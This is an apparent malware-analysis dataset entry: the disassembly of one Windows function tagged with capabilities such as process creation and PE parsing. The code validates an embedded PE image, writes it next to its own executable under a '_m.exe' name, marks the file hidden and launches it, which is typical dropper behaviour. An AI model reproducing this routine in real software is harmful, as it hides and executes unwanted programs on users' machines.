Function at 0x403e50
Capabilities:
Create process on windows
Create process suspended
Parse pe header
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x407761
mov eax, dword fs:[0]
push eax
sub esp, 0x1cc
mov eax, dword [0x40c1c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x180], esi
push 0x408d40
call fcn.00403dc0
test al, al
jne 0x403e9d
push 0x408d54
jmp 0x4041a6
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x4041a1
mov edx, dword [esi + 8]
cmp edx, 0x40
jb 0x4041a1
cmp byte [ecx], 0x4d
jne 0x4041a1
cmp byte [ecx + 1], 0x5a
jne 0x4041a1
mov esi, dword [ecx + 0x3c]
lea eax, [esi + 4]
cmp eax, edx
ja 0x4041a1
cmp byte [ecx + esi], 0x50
jne 0x4041a1
cmp byte [ecx + esi + 1], 0x45
jne 0x4041a1
cmp byte [ecx + esi + 2], 0
jne 0x4041a1
cmp byte [ecx + esi + 3], 0
jne 0x4041a1
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x114]
mov byte [ebp - 0x17c], 0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403f26
push dword [ebp - 0x17c]
sub ecx, edx
lea eax, [ebp - 0x15c]
push ecx
push esi
push eax
call fcn.00402a00
cmp dword [ebp - 0x148], 7
lea ecx, [ebp - 0x15c]
mov eax, dword [ebp - 0x14c]
cmova ecx, dword [ebp - 0x15c]
mov dword [ebp - 4], 0
lea esi, [ecx + eax*2]
push esi
push ecx
call fcn.00404470
add esp, 0x18
mov edi, eax
push 0x3a
push esi
push edi
call fcn.00405f80
mov ecx, eax
cmp edi, ecx
je 0x403fb5
lea edx, [ecx - 2]
cmp edi, edx
je 0x403fb5
cmp word [edx], 0x2e
lea eax, [edx - 2]
jne 0x403fa0
cmp edi, eax
jne 0x403f9c
cmp word [eax], 0x2e
je 0x403fb5
mov ecx, edx
jmp 0x403fb5
cmp edi, eax
je 0x403fb5
cmp word [eax], 0x2e
je 0x403fb3
sub eax, 2
cmp edi, eax
jne 0x403fa4
jmp 0x403fb5
mov ecx, eax
sub ecx, edi
mov dword [ebp - 0x11c], 0
sar ecx, 1
xorps xmm0, xmm0
push ecx
push edi
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x118], 0
movups xmmword [ebp - 0x12c], xmm0
call fcn.00402960
cmp dword [ebp - 0x118], 7
lea ecx, [ebp - 0x175]
push ecx
push dword [ebp - 0x11c]
lea eax, [ebp - 0x12c]
mov byte [ebp - 4], 1
cmova eax, dword [ebp - 0x12c]
push eax
lea eax, [ebp - 0x174]
push eax
call fcn.00402b10
add esp, 0x10
mov ecx, dword [ebp - 0x118]
mov byte [ebp - 4], 3
cmp ecx, 7
jbe 0x40405f
mov edx, dword [ebp - 0x12c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x404055
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404055
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0040650a
add esp, 8
xor eax, eax
mov dword [ebp - 0x11c], 0
mov word [ebp - 0x12c], ax
lea eax, [ebp - 0x174]
push str._m.exe
push eax
lea eax, [ebp - 0x144]
mov dword [ebp - 0x118], 7
push eax
call fcn.00402820
add esp, 0xc
cmp dword [ebp - 0x130], 0xf
lea eax, [ebp - 0x144]
mov ecx, dword [ebp - 0x180]
cmova eax, dword [ebp - 0x144]
push eax
mov byte [ebp - 4], 4
call fcn.004041d0
test al, al
jne 0x4040d3
push 0x408d88
call fcn.004022f0
add esp, 4
xor esi, esi
jmp 0x40417c
cmp dword [ebp - 0x130], 0xf
lea eax, [ebp - 0x144]
push 2
cmova eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x40
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0x1d8], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x194]
cmp dword [ebp - 0x130], 0xf
lea eax, [ebp - 0x144]
cmova eax, dword [ebp - 0x144]
push ecx
lea ecx, [ebp - 0x1d8]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x404160
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x408da0
call fcn.004022f0
add esp, 8
xor esi, esi
jmp 0x40417c
push dword [ebp - 0x190]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x194]
call esi
mov esi, dword [ebp - 0x18c]
lea ecx, [ebp - 0x144]
call fcn.004011f0
lea ecx, [ebp - 0x174]
call fcn.004011f0
lea ecx, [ebp - 0x15c]
call fcn.00404b40
mov eax, esi
jmp 0x4041b0
push 0x408d68
call fcn.004022f0
add esp, 4
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00406518
mov esp, ebp
pop ebp
ret